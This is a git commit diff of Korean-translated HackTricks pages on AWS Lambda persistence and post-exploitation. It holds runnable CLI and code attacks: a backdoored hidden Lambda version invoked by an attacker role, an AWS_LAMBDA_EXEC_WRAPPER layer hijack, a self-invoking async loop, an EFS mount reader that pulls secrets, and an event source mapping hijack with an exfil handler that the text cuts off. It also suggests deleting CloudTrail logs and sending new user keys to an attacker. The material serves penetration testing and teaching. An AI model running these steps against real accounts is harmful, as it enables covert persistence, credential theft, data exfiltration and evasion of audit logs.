Translated ['src/pentesting-cloud/aws-security/aws-post-exploitation/aws

This commit is contained in:
Translator
2025-10-06 23:04:26 +00:00
parent 89293678a9
commit c96bf6154c
13 changed files with 900 additions and 84 deletions
@@ -4,7 +4,7 @@
## Lambda
자세한 정보는 다음을 확인하세요:
자세한 내용은 다음을 확인하세요:
{{#ref}}
../../aws-services/aws-lambda-enum.md
@@ -12,7 +12,7 @@
### Lambda Layer Persistence
람다가 은밀하게 실행될 때 **임의 코드를 실행하기 위해 레이어입/백도어**하는 것이 가능합니다:
lambda가 실행될 때 은밀하게 임의 코드를 실행하도록 layer입/백도어화할 수 있습니다:
{{#ref}}
aws-lambda-layers-persistence.md
@@ -20,7 +20,7 @@ aws-lambda-layers-persistence.md
### Lambda Extension Persistence
Lambda Layers를 악용하여 확장을 악용하고 람다에 지속적으로 존재할 수 있으며 요청을 훔치고 수정할 수도 있습니다.
Lambda Layers를 악용하면 extensions를 남용하여 lambda에 영구화(persist)할 수 있으며 요청을 탈취하거나 수정할 수도 있습니다.
{{#ref}}
aws-abusing-lambda-extensions.md
@@ -28,37 +28,64 @@ aws-abusing-lambda-extensions.md
### Via resource policies
외부 계정에 대해 다양한 람다 작업(예: 호출 또는 코드 업데이트)에 대한 액세스를 부여할 수 있습니다:
외부 계정에 대해 lambda의 다양한 액션(예: invoke 또는 update code)에 대한 접근을 부여할 수 있습니다:
<figure><img src="../../../../images/image (255).png" alt=""><figcaption></figcaption></figure>
### Versions, Aliases & Weights
람다는 **다양한 버전**(각 버전마다 다른 코드)을 가질 수 있습니다.\
그런 다음, **다양한 버전의 람다에 대해 다양한 별칭을 생성하고** 각 별칭에 대해 다른 가중치를 설정할 수 있습니다.\
이렇게 하면 공격자는 **백도어가 있는 버전 1**과 **정상 코드만 있는 버전 2**를 생성하고 **1%의 요청에서만 버전 1을 실행**하여 은밀함을 유지할 수 있습니다.
A Lambda는 서로 다른 코드로 구성된 여러 versions를 가질 수 있습니다.\
그런 다음, 서로 다른 versions를 가리키는 aliases를 생성하고 각 alias에 대해 weights를 설정할 수 있습니다.\
이렇게 하면 공격자는 backdoored version 1과 정상 코드만 포함된 version 2를 만들고, 은밀하게 유지하기 위해 요청의 1%에서만 version 1을 실행하도록 설정할 수 있습니다.
<figure><img src="../../../../images/image (120).png" alt=""><figcaption></figcaption></figure>
### Version Backdoor + API Gateway
1. Lambda의 원본 코드를 복사합니다.
2. **원본 코드를 백도어하는 새로운 버전을 생성**합니다(또는 악성 코드만 포함). 해당 버전을 게시하고 **$LATEST에 배포**합니다.
1. 코드를 실행하기 위해 람다와 관련된 API 게이트웨이를 호출합니다.
3. **원본 코드로 새로운 버전을 생성**, 게시하고 해당 **버전을 $LATEST에 배포**합니다.
1. 이렇게 하면 이전 버전에서 백도어 코드가 숨겨집니다.
4. API Gateway로 이동하여 **새 POST 메서드**(또는 다른 메서드 선택)를 생성하여 람다의 백도어 버전을 실행합니다: `arn:aws:lambda:us-east-1:<acc_id>:function:<func_name>:1`
1. 최종 :1의 arn **함수의 버전을 나타냅니다**(이 시나리오에서 버전 1은 백도어가 있는 것입니다).
5. 생성된 POST 메서드를 선택하고 작업에서 **`API 배포`**를 선택합니다.
6. 이제 **POST를 통해 함수를 호출하면 백도어가 호출됩니다**.
1. Copy the original code of the Lambda
2. **Create a new version backdooring** the original code (or just with malicious code). Publish and **deploy that version** to $LATEST
1. Call the API gateway related to the lambda to execute the code
3. **Create a new version with the original code**, Publish and deploy that **version** to $LATEST.
1. This will hide the backdoored code in a previous version
4. Go to the API Gateway and **create a new POST method** (or choose any other method) that will execute the backdoored version of the lambda: `arn:aws:lambda:us-east-1:<acc_id>:function:<func_name>:1`
1. Note the final :1 of the arn **indicating the version of the function** (version 1 will be the backdoored one in this scenario).
5. Select the POST method created and in Actions select **`Deploy API`**
6. Now, when you **call the function via POST your Backdoor** will be invoked
### Cron/Event actuator
무언가가 발생하거나 시간이 경과할 때 **람다 함수를 실행 수 있다는 사실**은 람다를 지속성을 얻고 탐지를 피하는 좋은 방법으로 만듭니다.\
여기 AWS에서 **은밀하게 존재하기 위해 람다를 생성하는 몇 가지 아이디어가 있습니다**.
무언가가 발생하거나 일정 시간이 지나면 lambda functions를 실행시킬 수 있다는 점 때문에 lambda는 persistence를 얻고 탐지를 피하는 흔한 방법니다.\
다음은 lambdas를 생성하여 AWS에서의 존재를 더 은밀하게 만드는 몇 가지 아이디어입니다.
- Every time a new user is created lambda generates a new user key and send it to the attacker.
- Every time a new role is created lambda gives assume role permissions to compromised users.
- Every time new cloudtrail logs are generated, delete/alter them
### RCE abusing AWS_LAMBDA_EXEC_WRAPPER + Lambda Layers
환경 변수 `AWS_LAMBDA_EXEC_WRAPPER`를 악용하여 runtime/handler가 시작되기 전에 공격자가 제어하는 wrapper 스크립트를 실행할 수 있습니다. wrapper를 Lambda Layer로 `/opt/bin/htwrap`에 전달하고 `AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap`로 설정한 다음 함수를 호출하세요. wrapper는 함수 runtime 프로세스 내부에서 실행되며 함수 execution role을 상속하고 최종적으로 실제 runtime을 `exec`하여 원래 handler가 정상적으로 계속 실행되도록 합니다.
{{#ref}}
aws-lambda-exec-wrapper-persistence.md
{{#endref}}
### AWS - Lambda Function URL Public Exposure
Lambda의 asynchronous destinations와 Recursion 설정을 함께 악용하면 외부 스케줄러(EventBridge, cron 등) 없이도 함수가 스스로 지속적으로 재호출되도록 만들 수 있습니다. 기본적으로 Lambda는 재귀 루프를 종료하지만 recursion config를 Allow로 설정하면 이를 다시 활성화할 수 있습니다. Destinations는 비동기 호출에 대해 서비스 측에서 전달되므로 단일 시드 호출로 코드 없는 은밀한 heartbeat/backdoor 채널을 만들 수 있습니다. 선택적으로 reserved concurrency로 스로틀링하여 잡음을 낮출 수 있습니다.
{{#ref}}
aws-lambda-async-self-loop-persistence.md
{{#endref}}
### AWS - Lambda Alias-Scoped Resource Policy Backdoor
공격자 로직을 담은 숨겨진 Lambda version을 생성하고 `lambda add-permission`에서 `--qualifier` 파라미터를 사용하여 해당 특정 version(또는 alias)에 리소스 기반 정책을 범위(scope) 지정하세요. 공격자 주체에 대해 `arn:aws:lambda:REGION:ACCT:function:FN:VERSION`에만 `lambda:InvokeFunction` 권한을 부여합니다. 함수 이름 또는 기본 alias를 통한 정상 호출은 영향을 받지 않으며, 공격자는 백도어된 version ARN을 직접 호출할 수 있습니다.
이 방법은 Function URL을 노출하는 것보다 은밀하며 주 트래픽 alias를 변경하지 않습니다.
{{#ref}}
aws-lambda-alias-version-policy-backdoor.md
{{#endref}}
- 새로운 사용자가 생성될 때마다 람다가 새로운 사용자 키를 생성하고 공격자에게 전송합니다.
- 새로운 역할이 생성될 때마다 람다가 손상된 사용자에게 역할 수임 권한을 부여합니다.
- 새로운 cloudtrail 로그가 생성될 때마다 삭제/변경합니다.
{{#include ../../../../banners/hacktricks-training.md}}
@@ -0,0 +1,88 @@
# AWS - Lambda Alias-Scoped Resource Policy Backdoor (Invoke specific hidden version)
{{#include ../../../../banners/hacktricks-training.md}}
## 요약
공격자 로직을 포함한 숨겨진 Lambda 버전을 생성하고, `lambda add-permission``--qualifier` 파라미터를 사용해 리소스 기반 정책을 해당 특정 버전(또는 alias)에만 적용합니다. 공격자 principal에게는 `arn:aws:lambda:REGION:ACCT:function:FN:VERSION`에 대한 `lambda:InvokeFunction`만 부여합니다. 함수 이름이나 기본 alias를 통한 일반 호출은 영향을 받지 않으며, 공격자는 백도어된 버전 ARN을 직접 호출할 수 있습니다.
이는 Function URL을 노출하는 것보다 더 은밀하며 기본 트래픽 alias를 변경하지 않습니다.
## 필요한 권한 (공격자)
- `lambda:UpdateFunctionCode`, `lambda:UpdateFunctionConfiguration`, `lambda:PublishVersion`, `lambda:GetFunctionConfiguration`
- `lambda:AddPermission` (to add version-scoped resource policy)
- `iam:CreateRole`, `iam:PutRolePolicy`, `iam:GetRole`, `sts:AssumeRole` (to simulate an attacker principal)
## 공격 단계 (CLI)
<details>
<summary>숨겨진 버전 게시, `--qualifier` 범위 권한 추가, 공격자로서 호출</summary>
```bash
# Vars
REGION=us-east-1
TARGET_FN=<target-lambda-name>
# [Optional] If you want normal traffic unaffected, ensure a customer alias (e.g., "main") stays on a clean version
# aws lambda create-alias --function-name "$TARGET_FN" --name main --function-version <clean-version> --region "$REGION"
# 1) Build a small backdoor handler and publish as a new version
cat > bdoor.py <<PY
import json, os, boto3
def lambda_handler(e, c):
ident = boto3.client(sts).get_caller_identity()
return {"ht": True, "who": ident, "env": {"fn": os.getenv(AWS_LAMBDA_FUNCTION_NAME)}}
PY
zip bdoor.zip bdoor.py
aws lambda update-function-code --function-name "$TARGET_FN" --zip-file fileb://bdoor.zip --region $REGION
aws lambda update-function-configuration --function-name "$TARGET_FN" --handler bdoor.lambda_handler --region $REGION
until [ "$(aws lambda get-function-configuration --function-name "$TARGET_FN" --region $REGION --query LastUpdateStatus --output text)" = "Successful" ]; do sleep 2; done
VER=$(aws lambda publish-version --function-name "$TARGET_FN" --region $REGION --query Version --output text)
VER_ARN=$(aws lambda get-function --function-name "$TARGET_FN:$VER" --region $REGION --query Configuration.FunctionArn --output text)
echo "Published version: $VER ($VER_ARN)"
# 2) Create an attacker principal and allow only version invocation (same-account simulation)
ATTACK_ROLE_NAME=ht-version-invoker
aws iam create-role --role-name $ATTACK_ROLE_NAME --assume-role-policy-document Version:2012-10-17 >/dev/null
cat > /tmp/invoke-policy.json <<POL
{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Action": ["lambda:InvokeFunction"],
"Resource": ["$VER_ARN"]
}]
}
POL
aws iam put-role-policy --role-name $ATTACK_ROLE_NAME --policy-name ht-invoke-version --policy-document file:///tmp/invoke-policy.json
# Add resource-based policy scoped to the version (Qualifier)
aws lambda add-permission \
--function-name "$TARGET_FN" \
--qualifier "$VER" \
--statement-id ht-version-backdoor \
--action lambda:InvokeFunction \
--principal arn:aws:iam::$(aws sts get-caller-identity --query Account --output text):role/$ATTACK_ROLE_NAME \
--region $REGION
# 3) Assume the attacker role and invoke only the qualified version
ATTACK_ROLE_ARN=arn:aws:iam::$(aws sts get-caller-identity --query Account --output text):role/$ATTACK_ROLE_NAME
CREDS=$(aws sts assume-role --role-arn "$ATTACK_ROLE_ARN" --role-session-name htInvoke --query Credentials --output json)
export AWS_ACCESS_KEY_ID=$(echo $CREDS | jq -r .AccessKeyId)
export AWS_SECRET_ACCESS_KEY=$(echo $CREDS | jq -r .SecretAccessKey)
export AWS_SESSION_TOKEN=$(echo $CREDS | jq -r .SessionToken)
aws lambda invoke --function-name "$VER_ARN" /tmp/ver-out.json --region $REGION >/dev/null
cat /tmp/ver-out.json
# 4) Clean up backdoor (remove only the version-scoped statement). Optionally remove the role
aws lambda remove-permission --function-name "$TARGET_FN" --statement-id ht-version-backdoor --qualifier "$VER" --region $REGION || true
```
</details>
## 영향
- primary alias를 수정하거나 Function URL을 노출하지 않고 함수의 숨겨진 버전을 호출할 수 있는 은밀한 backdoor를 제공합니다.
- resource-based policy `Qualifier`를 통해 노출을 지정된 version/alias로만 제한하여 detection surface를 줄이면서 attacker principal에 대한 신뢰할 수 있는 호출을 유지합니다.
{{#include ../../../../banners/hacktricks-training.md}}
@@ -0,0 +1,92 @@
# AWS - Lambda Async Self-Loop Persistence via Destinations + Recursion Allow
Abuse Lambda asynchronous destinations together with the Recursion configuration to make a function continually re-invoke itself with no external scheduler (no EventBridge, cron, etc.). By default, Lambda terminates recursive loops, but setting the recursion config to Allow re-enables them. Destinations deliver on the service side for async invokes, so a single seed invoke creates a stealthy, code-free heartbeat/backdoor channel. Optionally throttle with reserved concurrency to keep noise low.
노트
- Lambda는 함수를 직접 자신의 destination으로 설정하는 것을 허용하지 않습니다. destination으로 함수 alias를 사용하고, execution role에 해당 alias를 invoke할 수 있도록 허용하세요.
- 최소 권한: 대상 함수의 event invoke config 및 recursion config를 읽고 업데이트할 수 있는 권한, 버전 publish 및 alias 관리 권한, 그리고 alias에 대해 lambda:InvokeFunction을 허용하도록 함수의 execution role 정책을 업데이트할 수 있는 권한.
## 요구사항
- Region: us-east-1
- 변수:
- REGION=us-east-1
- TARGET_FN=<target-lambda-name>
## 단계
1) 함수 ARN과 현재 recursion 설정 확인
```
FN_ARN=$(aws lambda get-function --function-name "$TARGET_FN" --region $REGION --query Configuration.FunctionArn --output text)
aws lambda get-function-recursion-config --function-name "$TARGET_FN" --region $REGION || true
```
2) 버전을 게시하고 alias를 생성/업데이트합니다 (self destination으로 사용됨)
```
VER=$(aws lambda publish-version --function-name "$TARGET_FN" --region $REGION --query Version --output text)
if ! aws lambda get-alias --function-name "$TARGET_FN" --name loop --region $REGION >/dev/null 2>&1; then
aws lambda create-alias --function-name "$TARGET_FN" --name loop --function-version "$VER" --region $REGION
else
aws lambda update-alias --function-name "$TARGET_FN" --name loop --function-version "$VER" --region $REGION
fi
ALIAS_ARN=$(aws lambda get-alias --function-name "$TARGET_FN" --name loop --region $REGION --query AliasArn --output text)
```
3) 함수 실행 역할이 별칭을 호출할 수 있도록 허용 (Lambda Destinations→Lambda에서 필요)
```
# Set this to the execution role name used by the target function
ROLE_NAME=<lambda-execution-role-name>
cat > /tmp/invoke-self-policy.json <<EOF
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "lambda:InvokeFunction",
"Resource": "${ALIAS_ARN}"
}
]
}
EOF
aws iam put-role-policy --role-name "$ROLE_NAME" --policy-name allow-invoke-self --policy-document file:///tmp/invoke-self-policy.json --region $REGION
```
4) async destination을 alias(self via alias)로 설정하고 retries를 비활성화
```
aws lambda put-function-event-invoke-config \
--function-name "$TARGET_FN" \
--destination-config OnSuccess={Destination=$ALIAS_ARN} \
--maximum-retry-attempts 0 \
--region $REGION
# Verify
aws lambda get-function-event-invoke-config --function-name "$TARGET_FN" --region $REGION --query DestinationConfig
```
5) 재귀 루프를 허용
```
aws lambda put-function-recursion-config --function-name "$TARGET_FN" --recursive-loop Allow --region $REGION
aws lambda get-function-recursion-config --function-name "$TARGET_FN" --region $REGION
```
6) 단일 비동기 invoke 시드
```
aws lambda invoke --function-name "$TARGET_FN" --invocation-type Event /tmp/seed.json --region $REGION >/dev/null
```
7) 지속적인 호출 관찰 (예시)
```
# Recent logs (if the function logs each run)
aws logs filter-log-events --log-group-name "/aws/lambda/$TARGET_FN" --limit 20 --region $REGION --query events[].timestamp --output text
# or check CloudWatch Metrics for Invocations increasing
```
8) 선택적 은밀 속도 제한
```
aws lambda put-function-concurrency --function-name "$TARGET_FN" --reserved-concurrent-executions 1 --region $REGION
```
## 정리
루프를 중단하고 persistence를 제거합니다.
```
aws lambda put-function-recursion-config --function-name "$TARGET_FN" --recursive-loop Terminate --region $REGION
aws lambda delete-function-event-invoke-config --function-name "$TARGET_FN" --region $REGION || true
aws lambda delete-function-concurrency --function-name "$TARGET_FN" --region $REGION || true
# Optional: delete alias and remove the inline policy when finished
aws lambda delete-alias --function-name "$TARGET_FN" --name loop --region $REGION || true
ROLE_NAME=<lambda-execution-role-name>
aws iam delete-role-policy --role-name "$ROLE_NAME" --policy-name allow-invoke-self --region $REGION || true
```
## 영향
- 단일 async invoke는 외부 스케줄러 없이 Lambda가 지속적으로 자체 re-invoke되게 하여 은밀한 persistence/heartbeat를 가능하게 합니다. Reserved concurrency는 노이즈를 단일 warm execution으로 제한할 수 있습니다.
@@ -0,0 +1,94 @@
# AWS - Lambda Exec Wrapper Layer Hijack (Pre-Handler RCE)
{{#include ../../../../banners/hacktricks-training.md}}
## 요약
환경 변수 `AWS_LAMBDA_EXEC_WRAPPER`를 악용하여 runtime/handler가 시작되기 전에 공격자가 제어하는 래퍼 스크립트를 실행합니다. 래퍼를 Lambda Layer의 `/opt/bin/htwrap`에 배포하고 `AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap`로 설정한 뒤 함수를 호출하세요. 래퍼는 함수 런타임 프로세스 내에서 실행되며 함수 실행 역할을 상속하고, 마지막에 실제 런타임을 `exec`하여 원래 핸들러가 정상적으로 실행되도록 합니다.
> [!WARNING]
> 이 기법은 대상 Lambda의 소스 코드나 역할을 수정하지 않고, iam:PassRole이 없어도 코드 실행을 허용합니다. 함수 구성을 업데이트하고 레이어를 게시/첨부할 수 있는 권한만 있으면 됩니다.
## 필요한 권한 (공격자)
- `lambda:UpdateFunctionConfiguration`
- `lambda:GetFunctionConfiguration`
- `lambda:InvokeFunction` (or trigger via existing event)
- `lambda:ListFunctions`, `lambda:ListLayers`
- `lambda:PublishLayerVersion` (same account) and optionally `lambda:AddLayerVersionPermission` if using a cross-account/public layer
## 래퍼 스크립트
레이어의 `/opt/bin/htwrap`에 래퍼를 배치하세요. 래퍼는 핸들러 실행 전 로직을 수행할 수 있으며 실제 런타임으로 이어지도록 마지막에 `exec "$@"`로 끝나야 합니다.
```bash
#!/bin/bash
set -euo pipefail
# Pre-handler actions (runs in runtime process context)
echo "[ht] exec-wrapper pre-exec: uid=$(id -u) gid=$(id -g) fn=$AWS_LAMBDA_FUNCTION_NAME region=$AWS_REGION"
python3 - <<'PY'
import boto3, json, os
try:
ident = boto3.client('sts').get_caller_identity()
print('[ht] sts identity:', json.dumps(ident))
except Exception as e:
print('[ht] sts error:', e)
PY
# Chain to the real runtime
exec "$@"
```
## 공격 단계 (CLI)
<details>
<summary>레이어 게시, 대상 함수에 첨부, wrapper 설정, 호출</summary>
```bash
# Vars
REGION=us-east-1
TARGET_FN=<target-lambda-name>
# 1) Package wrapper at /opt/bin/htwrap
mkdir -p layer/bin
cat > layer/bin/htwrap <<'WRAP'
#!/bin/bash
set -euo pipefail
echo "[ht] exec-wrapper pre-exec: uid=$(id -u) gid=$(id -g) fn=$AWS_LAMBDA_FUNCTION_NAME region=$AWS_REGION"
python3 - <<'PY'
import boto3, json
print('[ht] sts identity:', __import__('json').dumps(__import__('boto3').client('sts').get_caller_identity()))
PY
exec "$@"
WRAP
chmod +x layer/bin/htwrap
(zip -qr htwrap-layer.zip layer)
# 2) Publish the layer
LAYER_ARN=$(aws lambda publish-layer-version \
--layer-name ht-exec-wrapper \
--zip-file fileb://htwrap-layer.zip \
--compatible-runtimes python3.11 python3.10 python3.9 nodejs20.x nodejs18.x java21 java17 dotnet8 \
--query LayerVersionArn --output text --region "$REGION")
echo "$LAYER_ARN"
# 3) Attach the layer and set AWS_LAMBDA_EXEC_WRAPPER
aws lambda update-function-configuration \
--function-name "$TARGET_FN" \
--layers "$LAYER_ARN" \
--environment "Variables={AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap}" \
--region "$REGION"
# Wait for update to finish
until [ "$(aws lambda get-function-configuration --function-name "$TARGET_FN" --query LastUpdateStatus --output text --region "$REGION")" = "Successful" ]; do sleep 2; done
# 4) Invoke and verify via CloudWatch Logs
aws lambda invoke --function-name "$TARGET_FN" /tmp/out.json --region "$REGION" >/dev/null
aws logs filter-log-events --log-group-name "/aws/lambda/$TARGET_FN" --limit 50 --region "$REGION" --query 'events[].message' --output text
```
</details>
## 영향
- Lambda runtime 컨텍스트에서 함수의 기존 execution role을 사용하여 pre-handler 코드 실행 가능.
- 함수 코드나 role을 변경할 필요 없음; Python, Node.js, Java, .NET 등 일반적인 managed runtimes 전반에서 작동.
- handler가 실행되기 전에 persistence, credential access (예: STS), data exfiltration 및 runtime tampering을 가능하게 함.
{{#include ../../../../banners/hacktricks-training.md}}
@@ -4,32 +4,82 @@
## Lambda
자세한 정보는 다음을 확인하세요:
For more information check:
{{#ref}}
../../aws-services/aws-lambda-enum.md
{{#endref}}
### Lambda 자격 증명 유출
### Exfilrtate Lambda Credentials
Lambda는 런타임에 자격 증명을 주입하기 위해 환경 변수를 사용합니다. 이들에 접근할 수 있다면(`/proc/self/environ`을 읽거나 취약한 함수를 사용하여), 자신이 사용할 수 있습니다. 이들은 기본 변수 이름 `AWS_SESSION_TOKEN`, `AWS_SECRET_ACCESS_KEY`, `AWS_ACCESS_KEY_ID`에 저장됩니다.
Lambda는 런타임에 환경 변수로 credentials를 주입합니다. `/proc/self/environ`을 읽거나 취약한 함수를 통해 해당 변수들에 접근할 수 있다면 이를 직접 사용할 수 있습니다. 기본 변수 이름 `AWS_SESSION_TOKEN`, `AWS_SECRET_ACCESS_KEY`, `AWS_ACCESS_KEY_ID`니다.
기본적으로,들은 클라우드워치 로그 그룹에 쓰기 권한을 가지며(그 이름은 `AWS_LAMBDA_LOG_GROUP_NAME`에 저장됨), 임의의 로그 그룹을 생성할 수 있습니다. 그러나 Lambda 함수는 종종 의도된 용에 따라 더 많은 권한이 할당니다.
기본적으로 이 자격 증명들은 CloudWatch log group에 쓰기 권한(그 이름은 `AWS_LAMBDA_LOG_GROUP_NAME`에 저장됨) 임의의 log group을 생성할 권한을 가집니다. 그러나 Lambda 함수들은 의도된 용에 따라 더 많은 권한이 할당되는 경우가 자주 있습니다.
### 다른 사용자의 Lambda URL 요청 훔치기
### Steal Others Lambda URL Requests
공격자가 Lambda 내부에서 RCE를 얻는 데 성공하면, 다른 사용자의 Lambda에 대한 HTTP 요청을 훔칠 수 있습니다. 요청에 민감한 정보(쿠키, 자격 증명 등)가 포함되어 있다면, 이를 훔칠 수 있습니다.
공격자가 Lambda 내부에서 RCE를 얻으면 다른 사용자의 Lambda로 향하는 HTTP 요청을 훔칠 수 있습니다. 요청에 민감한 정보(cookies, credentials...)가 포함되어 있다면 이를 탈취할 수 있습니다.
{{#ref}}
aws-warm-lambda-persistence.md
{{#endref}}
### 다른 사용자의 Lambda URL 요청 및 확장 요청 훔치기
### Steal Others Lambda URL Requests & Extensions Requests
Lambda Layers를 악용하면 확장을 악용하고 Lambda에 지속할 수 있을 뿐만 아니라 요청을 훔치 수정할 수 있습니다.
Lambda Layers를 악용하면 extensions를 남용해 Lambda에 persistence를 확보하고 요청을 훔치거나 수정할 수 있습니다.
{{#ref}}
../../aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md
{{#endref}}
### AWS Lambda VPC Egress Bypass
빈 VpcConfig(SubnetIds=[], SecurityGroupIds=[])로 구성 업데이트하여 제한된 VPC에서 Lambda 함수를 강제로 내보내면, 함수는 Lambda가 관리하는 네트워킹 평면에서 실행되어 아웃바운드 인터넷 접근을 회복합니다. 이렇게 하면 NAT이 없는 private VPC 서브넷에 의해 적용된 egress 제어를 우회할 수 있습니다.
{{#ref}}
aws-lambda-vpc-egress-bypass.md
{{#endref}}
### AWS Lambda Runtime Pinning/Rollback Abuse
`lambda:PutRuntimeManagementConfig`를 악용해 함수를 특정 runtime 버전(Manual)에 고정하거나 업데이트를 동결(FunctionUpdate)할 수 있습니다. 이는 악의적인 layers/wrappers와의 호환성을 유지하고 취약한 오래된 runtime에 함수를 머무르게 해 exploitation 및 장기적인 persistence에 도움을 줄 수 있습니다.
{{#ref}}
aws-lambda-runtime-pinning-abuse.md
{{#endref}}
### AWS Lambda Log Siphon via LoggingConfig.LogGroup Redirection
`lambda:UpdateFunctionConfiguration`의 고급 로깅 제어를 악용해 함수의 로그를 공격자가 선택한 CloudWatch Logs log group으로 리디렉션할 수 있습니다. 코드나 실행 역할을 변경할 필요가 없으며(대부분의 Lambda 역할에는 이미 `logs:CreateLogGroup/CreateLogStream/PutLogEvents``AWSLambdaBasicExecutionRole`을 통해 포함되어 있습니다), 함수가 secrets/request bodies를 출력하거나 stack trace로 크래시하면 새 log group에서 이를 수집할 수 있습니다.
{{#ref}}
aws-lambda-loggingconfig-redirection.md
{{#endref}}
### AWS - Lambda Function URL Public Exposure
Function URL AuthType을 NONE으로 전환하고 모든 사용자에게 lambda:InvokeFunctionUrl 권한을 부여하는 resource-based policy를 첨부하면, private Lambda Function URL을 공개된 인증 없는 엔드포인트로 만들 수 있습니다. 이는 내부 함수를 익명으로 호출할 수 있게 하여 민감한 백엔드 작업을 노출시킬 수 있습니다.
{{#ref}}
aws-lambda-function-url-public-exposure.md
{{#endref}}
### AWS Lambda Event Source Mapping Target Hijack
`UpdateEventSourceMapping`을 악용해 기존 Event Source Mapping(ESM)의 대상 Lambda 함수를 변경하면 DynamoDB Streams, Kinesis, 또는 SQS의 레코드가 공격자가 제어하는 함수로 전달되도록 할 수 있습니다. 이렇게 하면 생산자나 원래 함수 코드를 건드리지 않고 실시간 데이터를 은밀히 전환할 수 있습니다.
{{#ref}}
aws-lambda-event-source-mapping-target-hijack.md
{{#endref}}
### AWS Lambda EFS Mount Injection data exfiltration
`lambda:UpdateFunctionConfiguration`를 악용해 기존 EFS Access Point를 Lambda에 연결한 뒤, 마운트된 경로에서 파일을 나열/읽는 간단한 코드를 배포해 함수가 이전에는 접근하지 못했던 공유된 secrets/config를 exfiltrate할 수 있습니다.
{{#ref}}
aws-lambda-efs-mount-injection.md
{{#endref}}
{{#include ../../../../banners/hacktricks-training.md}}
@@ -0,0 +1,75 @@
# AWS Lambda EFS Mount Injection via UpdateFunctionConfiguration (Data Theft)
Abuse `lambda:UpdateFunctionConfiguration`를 사용해 기존 EFS Access Point를 Lambda에 연결한 다음, 마운트된 경로에서 파일을 나열/읽는 간단한 코드를 배포하여 함수가 이전에 접근할 수 없었던 shared secrets/config를 유출합니다.
## 요구사항
- 피해자 계정/프린시펄에 대한 권한:
- `lambda:GetFunctionConfiguration`
- `lambda:ListFunctions` (함수 찾기용)
- `lambda:UpdateFunctionConfiguration`
- `lambda:UpdateFunctionCode`
- `lambda:InvokeFunction`
- `efs:DescribeMountTargets` (mount targets 존재 확인용)
- 환경 가정:
- 대상 Lambda는 VPC-enabled 상태이며 해당 서브넷/SG가 TCP/2049로 EFS mount target SG에 도달할 수 있어야 합니다 (예: 역할에 AWSLambdaVPCAccessExecutionRole이 있고 VPC 라우팅이 허용되는 경우).
- EFS Access Point는 동일한 VPC에 있어야 하며 Lambda 서브넷의 AZ들에 mount targets가 있어야 합니다.
## Attack
- Variables
```
REGION=us-east-1
TARGET_FN=<target-lambda-name>
EFS_AP_ARN=<efs-access-point-arn>
```
1) EFS Access Point를 Lambda에 연결
```
aws lambda update-function-configuration \
--function-name $TARGET_FN \
--file-system-configs Arn=$EFS_AP_ARN,LocalMountPath=/mnt/ht \
--region $REGION
# wait until LastUpdateStatus == Successful
until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --query LastUpdateStatus --output text --region $REGION)" = "Successful" ]; do sleep 2; done
```
2) 코드를 파일을 나열하고 후보 secret/config file의 처음 200바이트를 확인하는 간단한 reader로 덮어씁니다.
```
cat > reader.py <<PY
import os, json
BASE=/mnt/ht
def lambda_handler(e, c):
out={ls:[],peek:None}
try:
for root, dirs, files in os.walk(BASE):
for f in files:
p=os.path.join(root,f)
out[ls].append(p)
cand = next((p for p in out[ls] if secret in p.lower() or config in p.lower()), None)
if cand:
with open(cand,rb) as fh:
out[peek] = fh.read(200).decode(utf-8,ignore)
except Exception as ex:
out[err]=str(ex)
return out
PY
zip reader.zip reader.py
aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://reader.zip --region $REGION
# If the original handler was different, set it to reader.lambda_handler
aws lambda update-function-configuration --function-name $TARGET_FN --handler reader.lambda_handler --region $REGION
until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --query LastUpdateStatus --output text --region $REGION)" = "Successful" ]; do sleep 2; done
```
3) 호출하여 데이터 가져오기
```
aws lambda invoke --function-name $TARGET_FN /tmp/efs-out.json --region $REGION >/dev/null
cat /tmp/efs-out.json
```
출력에는 /mnt/ht 아래의 디렉터리 목록과 EFS에서 선택한 secret/config 파일의 작은 미리보기가 포함되어야 합니다.
## 영향
나열된 권한을 가진 공격자는 임의의 in-VPC EFS Access Points를 피해자 Lambda 함수에 마운트하여 해당 함수에서 이전에 접근할 수 없었던 EFS에 저장된 공유 구성 및 secrets를 읽고 exfiltrate할 수 있습니다.
## 정리
```
aws lambda update-function-configuration --function-name $TARGET_FN --file-system-configs [] --region $REGION || true
```
@@ -0,0 +1,75 @@
# AWS - Hijack Event Source Mapping to Redirect Stream/SQS/Kinesis to Attacker Lambda
{{#include ../../../../banners/hacktricks-training.md}}
`UpdateEventSourceMapping`을 악용하여 기존 Event Source Mapping(ESM)의 대상 Lambda 함수를 변경하면 DynamoDB Streams, Kinesis 또는 SQS의 레코드가 attacker-controlled function으로 전달되게 할 수 있습니다. 이는 producer나 원래 함수 코드를 건드리지 않고 실시간 데이터를 조용히 우회시킵니다.
## 영향
- producer apps이나 victim code를 수정하지 않고 기존 streams/queues의 실시간 레코드를 우회하여 읽을 수 있습니다.
- rogue function에서 victim의 트래픽을 처리함으로써 데이터 exfiltration 또는 로직 변조가 발생할 수 있습니다.
## 필요한 권한
- `lambda:ListEventSourceMappings`
- `lambda:GetEventSourceMapping`
- `lambda:UpdateEventSourceMapping`
- attacker-controlled Lambda를 배포하거나 참조할 수 있는 권한(`lambda:CreateFunction` 또는 기존 함수를 사용할 수 있는 권한).
## 단계
1) victim function에 대한 event source mappings 열거
```
TARGET_FN=<victim-function-name>
aws lambda list-event-source-mappings --function-name $TARGET_FN \
--query 'EventSourceMappings[].{UUID:UUID,State:State,EventSourceArn:EventSourceArn}'
export MAP_UUID=$(aws lambda list-event-source-mappings --function-name $TARGET_FN \
--query 'EventSourceMappings[0].UUID' --output text)
export EVENT_SOURCE_ARN=$(aws lambda list-event-source-mappings --function-name $TARGET_FN \
--query 'EventSourceMappings[0].EventSourceArn' --output text)
```
2) attacker-controlled 수신 Lambda를 준비합니다 (동일한 region; 가능하면 유사한 VPC/runtime)
```
cat > exfil.py <<'PY'
import json, boto3, os, time
def lambda_handler(event, context):
print(json.dumps(event)[:3000])
b = os.environ.get('EXFIL_S3')
if b:
k = f"evt-{int(time.time())}.json"
